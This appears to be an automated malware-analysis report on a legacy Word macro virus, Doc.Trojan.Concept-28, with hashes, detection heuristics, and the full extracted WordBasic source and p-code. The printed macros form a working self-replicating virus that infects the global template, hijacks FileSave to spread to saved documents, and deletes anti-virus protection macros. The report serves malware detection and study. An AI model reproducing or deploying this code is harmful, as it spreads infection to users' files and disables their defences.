Doc.Trojan.Concept-28 — Office (OLE) malware analysis

Static analysis result for SHA-256 d30b7f8fd28f6588…

MALICIOUS

Office (OLE)

38.5 KB Created: 1997-05-29 15:07:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 3dc4f90d0a20d98402bd85b767743ddc SHA-1: a17688a47a5d135e992f7617e91e941a85fe60b8 SHA-256: d30b7f8fd28f65886222d0521ca4a0558329f30bd391d4c5391c53385489d87d
188 Risk Score

Malware Insights

Doc.Trojan.Concept-28 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro virus markers and a critical ClamAV detection for 'Doc.Trojan.Concept-28'. The AutoOpen macro attempts to copy itself and other macros ('FileSave', 'NEWFS', 'NEWAO') to the global template, indicating a propagation mechanism. The presence of VBA macros and the 'AutoOpen' subroutine strongly suggest this is a malicious document delivered as an attachment.

Heuristics 4

  • ClamAV: Doc.Trojan.Concept-28 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Concept-28
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "AutoOpen"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9541 bytes
SHA-256: 06c128d448b8b8a48b3daeb36fb2b98713848f9aa5b5a1d32df56ae163b458bd
Detection
ClamAV: Doc.Trojan.Lunch-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Infects your global template with a virus"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
Dim sMe$
Dim sMacro$
    On Error GoTo -1: On Error GoTo Abort
'   iMacroCount = CountMacros(0, 0)
'   For i = 1 To iMacroCount
'       If MacroName$(i, 0, 0) = "FileSave" Then
'           bTooMuchTrouble = - 1
'       End If
'   Next i
'   If Not bTooMuchTrouble Then
        'add FileSaveAs and copies of AutoOpen and FileSaveAs.
        sMe$ = WordBasic.[FileName$]()
        sMacro$ = sMe$ + ":NEWFS"
        WordBasic.MacroCopy sMacro$, "Global:FileSave"
        sMacro$ = sMe$ + ":NEWFS"
        WordBasic.MacroCopy sMacro$, "Global:NEWFS"
        sMacro$ = sMe$ + ":NEWAO"
        WordBasic.MacroCopy sMacro$, "Global:NEWAO"
'   End If
Abort:
End Sub

Attribute VB_Name = "NEWFS"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Infects the active document or template"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.NEWFS.MAIN"
Dim sMe$
Dim sTMacro$
'this becomes the FileSaveAs for the global template
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
On Error GoTo -1: On Error GoTo Bail
If WordBasic.[Time$]() = "12:01 PM" Then
    WordBasic.MsgBox "Whatya doin' here? Take a lunch break!", "Lunch Time!", 48
End If
WordBasic.CurValues.FileSaveAs dlg
If InStr(WordBasic.[FileName$](), "\") = 0 Then
    WordBasic.Dialog.FileSaveAs dlg
    sMe$ = WordBasic.[FileNameInfo$](dlg.Name, 1)
    WordBasic.FileSaveAs dlg
Else
    sMe$ = WordBasic.[FileName$]()
End If
If dlg.Format = 0 Then dlg.Format = 1
sTMacro$ = sMe$ + ":AutoOpen"
WordBasic.MacroCopy "Global:NEWAO", sTMacro$
sTMacro$ = sMe$ + ":NEWAO"
WordBasic.MacroCopy "Global:NEWAO", sTMacro$
sTMacro$ = sMe$ + ":NEWFS"
WordBasic.MacroCopy "Global:NEWFS", sTMacro$
WordBasic.ToolsMacro Name:="FileOpen", Show:=1, Delete:=1          'Kill ScanProt!!!
WordBasic.ToolsMacro Name:="AutoExit", Show:=1, Delete:=1          'Kill ScanProt!!!
WordBasic.FileSaveAs dlg
GoTo Done

Bail:
If Err.Number <> 102 Then
    WordBasic.FileSaveAs dlg
End If
Done:
End Sub

Attribute VB_Name = "NEWAO"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Infects your global template with a virus"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.NEWAO.MAIN"
Dim sMe$
Dim sMacro$
    On Error GoTo -1: On Error GoTo Abort
'   iMacroCount = CountMacros(0, 0)
'   For i = 1 To iMacroCount
'       If MacroName$(i, 0, 0) = "FileSave" Then
'           bTooMuchTrouble = - 1
'       End If
'   Next i
'   If Not bTooMuchTrouble Then
        'add FileSaveAs and copies of AutoOpen and FileSaveAs.
        sMe$ = WordBasic.[FileName$]()
        sMacro$ = sMe$ + ":NEWFS"
        WordBasic.MacroCopy sMacro$, "Global:FileSave"
        sMacro$ = sMe$ + ":NEWFS"
        WordBasic.MacroCopy sMacro$, "Global:NEWFS"
        sMacro$ = sMe$ + ":NEWAO"
        WordBasic.MacroCopy sMacro$, "Global:NEWAO"
'   End If
Abort:
End Sub

' Processing file: /tmp/qstore_h7cyguqz
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 2629 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn sMe
' Line #3:
' 	Dim 
' 	VarDefn sMacro
' Line #4:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Abort 
' Line #5:
' 	QuoteRem 0x0000 0x0022 "   iMacroCount = CountMacros(0, 0)"
' Line #6:
' 	QuoteRem 0x0000 0x001B "   For i = 1 To iMacroCount"
' Line #7:
' 	QuoteRem 0x0000 0x002F "       If MacroName$(i, 0, 0) = "FileSave" Then"
' Line #8:
' 	QuoteRem 0x0000 0x0020 "           bTooMuchTrouble = - 1"
' Line #9:
' 	QuoteRem 0x0000 0x000D "       End If"
' Line #10:
' 	QuoteRem 0x0000 0x0009 "   Next i"
' Line #11:
' 	QuoteRem 0x0000 0x001E "   If Not bTooMuchTrouble Then"
' Line #12:
' 	QuoteRem 0x0008 0x0035 "add FileSaveAs and copies of AutoOpen and FileSaveAs."
' Line #13:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St sMe$ 
' Line #14:
' 	Ld sMe$ 
' 	LitStr 0x0006 ":NEWFS"
' 	Add 
' 	St sMacro$ 
' Line #15:
' 	Ld sMacro$ 
' 	LitStr 0x000F "Global:FileSave"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #16:
' 	Ld sMe$ 
' 	LitStr 0x0006 ":NEWFS"
' 	Add 
' 	St sMacro$ 
' Line #17:
' 	Ld sMacro$ 
' 	LitStr 0x000C "Global:NEWFS"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #18:
' 	Ld sMe$ 
' 	LitStr 0x0006 ":NEWAO"
' 	Add 
' 	St sMacro$ 
' Line #19:
' 	Ld sMacro$ 
' 	LitStr 0x000C "Global:NEWAO"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #20:
' 	QuoteRem 0x0000 0x0009 "   End If"
' Line #21:
' 	Label Abort 
' Line #22:
' 	EndSub 
' Macros/VBA/NEWFS - 3000 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn sMe
' Line #3:
' 	Dim 
' 	VarDefn sTMacro
' Line #4:
' 	QuoteRem 0x0000 0x0033 "this becomes the FileSaveAs for the global template"
' Line #5:
' 	Dim 
' 	VarDefn dlg (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	Set dlg 
' Line #6:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Bail 
' Line #7:
' 	Ld WordBasic 
' 	ArgsMemLd [Time$] 0x0000 
' 	LitStr 0x0008 "12:01 PM"
' 	Eq 
' 	IfBlock 
' Line #8:
' 	LitStr 0x0026 "Whatya doin' here? Take a lunch break!"
' 	LitStr 0x000B "Lunch Time!"
' 	LitDI2 0x0030 
' 	Ld WordBasic 
' 	ArgsMemCall MsgBox 0x0003 
' Line #9:
' 	EndIfBlock 
' Line #10:
' 	Ld dlg 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #11:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0001 "\"
' 	FnInStr 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #12:
' 	Ld dlg 
' 	Ld WordBasic 
' 	MemLd Dialog 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #13:
' 	Ld dlg 
' 	MemLd New 
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd [FileNameInfo$] 0x0002 
' 	St sMe$ 
' Line #14:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #15:
' 	ElseBlock 
' Line #16:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St sMe$ 
' Line #17:
' 	EndIfBlock 
' Line #18:
' 	Ld dlg 
' 	MemLd Format$ 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0001 
' 	Ld dlg 
' 	MemSt Format$ 
' 	EndIf 
' Line #19:
' 	Ld sMe$ 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	St sTMacro$ 
' Line #20:
' 	LitStr 0x000C "Global:NEWAO"
' 	Ld sTMacro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #21:
' 	Ld sMe$ 
' 	LitStr 0x0006 ":NEWAO"
' 	Add 
' 	St sTMacro$ 
' Line #22:
' 	LitStr 0x000C "Global:NEWAO"
' 	Ld sTMacro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #23:
' 	Ld sMe$ 
' 	LitStr 0x0006 ":NEWFS"
' 	Add 
' 	St sTMacro$ 
' Line #24:
' 	LitStr 0x000C "Global:NEWFS"
' 	Ld sTMacro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #25:
' 	LitStr 0x0008 "FileOpen"
' 	ParamNamed New 
' 	LitDI2 0x0001 
' 	ParamNamed Show 
' 	LitDI2 0x0001 
' 	ParamNamed Delete 
' 	Ld WordBasic 
' 	ArgsMemCall ToolsMacro 0x0003 
' 	QuoteRem 0x0043 0x0010 "Kill ScanProt!!!"
' Line #26:
' 	LitStr 0x0008 "AutoExit"
' 	ParamNamed New 
' 	LitDI2 0x0001 
' 	ParamNamed Show 
' 	LitDI2 0x0001 
' 	ParamNamed Delete 
' 	Ld WordBasic 
' 	ArgsMemCall ToolsMacro 0x0003 
' 	QuoteRem 0x0043 0x0010 "Kill ScanProt!!!"
' Line #27:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #28:
' 	GoTo Done 
' Line #29:
' Line #30:
' 	Label Bail 
' Line #31:
' 	Ld Err 
' 	MemLd Number 
' 	LitDI2 0x0066 
' 	Ne 
' 	IfBlock 
' Line #32:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #33:
' 	EndIfBlock 
' Line #34:
' 	Label Done 
' Line #35:
' 	EndSub 
' Macros/VBA/NEWAO - 2335 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn sMe
' Line #3:
' 	Dim 
' 	VarDefn sMacro
' Line #4:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Abort 
' Line #5:
' 	QuoteRem 0x0000 0x0022 "   iMacroCount = CountMacros(0, 0)"
' Line #6:
' 	QuoteRem 0x0000 0x001B "   For i = 1 To iMacroCount"
' Line #7:
' 	QuoteRem 0x0000 0x002F "       If MacroName$(i, 0, 0) = "FileSave" Then"
' Line #8:
' 	QuoteRem 0x0000 0x0020 "           bTooMuchTrouble = - 1"
' Line #9:
' 	QuoteRem 0x0000 0x000D "       End If"
' Line #10:
' 	QuoteRem 0x0000 0x0009 "   Next i"
' Line #11:
' 	QuoteRem 0x0000 0x001E "   If Not bTooMuchTrouble Then"
' Line #12:
' 	QuoteRem 0x0008 0x0035 "add FileSaveAs and copies of AutoOpen and FileSaveAs."
' Line #13:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St sMe$ 
' Line #14:
' 	Ld sMe$ 
' 	LitStr 0x0006 ":NEWFS"
' 	Add 
' 	St sMacro$ 
' Line #15:
' 	Ld sMacro$ 
' 	LitStr 0x000F "Global:FileSave"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #16:
' 	Ld sMe$ 
' 	LitStr 0x0006 ":NEWFS"
' 	Add 
' 	St sMacro$ 
' Line #17:
' 	Ld sMacro$ 
' 	LitStr 0x000C "Global:NEWFS"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #18:
' 	Ld sMe$ 
' 	LitStr 0x0006 ":NEWAO"
' 	Add 
' 	St sMacro$ 
' Line #19:
' 	Ld sMacro$ 
' 	LitStr 0x000C "Global:NEWAO"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #20:
' 	QuoteRem 0x0000 0x0009 "   End If"
' Line #21:
' 	Label Abort 
' Line #22:
' 	EndSub

Open this report in the interactive analyzer, or submit your own file for analysis.